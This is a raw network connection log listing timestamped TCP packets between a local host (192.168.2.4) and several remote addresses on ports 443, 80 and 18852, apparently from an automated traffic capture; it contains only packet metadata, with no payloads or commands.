Dec 30, 2024 04:59:06.777219057 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.852565050 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.852581024 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.852658987 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.852669954 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.852708101 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.852797031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.852813005 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.852858067 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.852865934 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.852905035 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.853497982 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.853513002 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.853549957 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.853557110 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.853583097 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.853604078 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.854444981 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.854460955 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.854504108 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.854516029 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.854542017 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.854556084 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.855429888 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.855446100 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.855489016 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.855501890 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.855518103 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.855542898 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.859321117 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.859339952 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.859401941 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.859411001 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.859447002 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.860419035 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.860434055 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.860475063 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.860481977 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.860518932 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.860891104 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.860908031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.860960007 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.860966921 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.861011028 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.936007977 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.936024904 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.936070919 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.936084986 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.936119080 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.936137915 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.936353922 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.936369896 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.936393023 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.936398029 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.936424017 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.936443090 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.937200069 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.937216043 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.937248945 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.937257051 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.937280893 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.937299013 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.937977076 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.937992096 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.938034058 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.938040972 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.938081980 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.939078093 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.939093113 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.939151049 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.939151049 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.939158916 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.939196110 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.942951918 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.942969084 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.943011045 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.943017006 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.943042994 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.943054914 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.943960905 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.943977118 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.944011927 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.944019079 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.944050074 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.944063902 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.944274902 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.944291115 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.944317102 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.944323063 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.944345951 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.944370985 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.954350948 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.954396963 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.954412937 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.954448938 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.956465960 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.956473112 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.956486940 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.956525087 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:07.066308022 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.066397905 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.066488028 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.066788912 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.066817999 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.066875935 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.073959112 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.073998928 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.073999882 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.074009895 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.674985886 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.675055027 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.675633907 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.675822020 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.681680918 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.681794882 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.682751894 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.682857990 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.720613003 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.720654011 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.720686913 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.720700026 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.720948935 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.721111059 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.721528053 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.721741915 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.722795010 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.722868919 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:07.763364077 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:07.767328024 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.050856113 CET	49743	80	192.168.2.4	69.42.215.252
Dec 30, 2024 04:59:08.055638075 CET	80	49743	69.42.215.252	192.168.2.4
Dec 30, 2024 04:59:08.055695057 CET	49743	80	192.168.2.4	69.42.215.252
Dec 30, 2024 04:59:08.055944920 CET	49743	80	192.168.2.4	69.42.215.252
Dec 30, 2024 04:59:08.060771942 CET	80	49743	69.42.215.252	192.168.2.4
Dec 30, 2024 04:59:08.131860018 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.131949902 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.132118940 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.132210970 CET	443	49738	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.132356882 CET	49738	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.132756948 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.132776022 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.132839918 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.133130074 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.133140087 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.143388033 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.143414021 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.143578053 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.144757032 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.144768953 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.153943062 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.154093027 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.154103994 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.154192924 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.154262066 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.154287100 CET	443	49739	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.154381037 CET	49739	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.154656887 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.154658079 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.154665947 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.154668093 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.154733896 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.154735088 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.154915094 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.154931068 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.154973984 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.154982090 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.215250969 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:08.220041990 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.220232964 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:08.668195009 CET	80	49743	69.42.215.252	192.168.2.4
Dec 30, 2024 04:59:08.668250084 CET	49743	80	192.168.2.4	69.42.215.252
Dec 30, 2024 04:59:08.736985922 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.737052917 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.737627983 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.737855911 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.747453928 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.747509003 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.748928070 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.748945951 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.749135017 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.749181032 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.749654055 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.754208088 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.754272938 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.754848003 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.754894972 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.778409004 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.778489113 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.791357040 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.818011999 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.818036079 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.818248987 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.818295002 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.818681002 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:08.823514938 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.823529005 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.823766947 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.823812008 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.824101925 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.827179909 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.827188969 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.827402115 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.827446938 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.847286940 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:08.859332085 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:08.867327929 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.891325951 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:08.977241993 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977274895 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977282047 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977317095 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977333069 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977344990 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977353096 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977353096 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:08.977363110 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977371931 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977380037 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:08.977382898 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.977395058 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:08.977413893 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:08.982181072 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.982191086 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.982199907 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:08.982228994 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.101672888 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.101737022 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.102713108 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.102763891 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.102829933 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.102879047 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.118679047 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.118693113 CET	443	49744	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.118704081 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.118737936 CET	49744	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.120150089 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.120208025 CET	443	49750	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.120280981 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.120614052 CET	49750	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.120630980 CET	443	49750	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.147690058 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.147733927 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.147742033 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.147756100 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.147764921 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.147802114 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.147805929 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.147824049 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.147840977 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.147860050 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.186841965 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.186856031 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.186919928 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.186937094 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.186949015 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.186959982 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.186969995 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.186978102 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.187000036 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.187006950 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.187036037 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.187480927 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.187531948 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.187768936 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.187863111 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.187871933 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.187906027 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.188473940 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.188487053 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.188497066 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.188508034 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.188520908 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.188525915 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.188539982 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.188560963 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.188615084 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.188657999 CET	443	49746	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:09.188662052 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.188695908 CET	49746	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:09.189167023 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.189179897 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.189192057 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.189202070 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.189213991 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.189218998 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.189230919 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.191920042 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.191968918 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.192106962 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.192116976 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.192127943 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.192137957 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.192143917 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.192148924 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.192173004 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.192846060 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.192907095 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.303087950 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.303124905 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.303138971 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.303145885 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.303169012 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.303193092 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.303196907 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.303208113 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.303240061 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.303250074 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.379848957 CET	49745	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.379859924 CET	443	49745	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.382483959 CET	49747	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:09.382488966 CET	443	49747	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:09.396701097 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.396713972 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.396723986 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.396735907 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.396747112 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.396754026 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.396755934 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.396768093 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.396778107 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.396780968 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.396791935 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.396821976 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.397092104 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397103071 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397118092 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397128105 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397139072 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397164106 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.397520065 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397530079 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397538900 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397548914 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397559881 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397559881 CET	49748	18852	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:09.397568941 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397582054 CET	18852	49748	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:09.397583961 CET	49748	18852	192.168.2.4	118.107.44.219
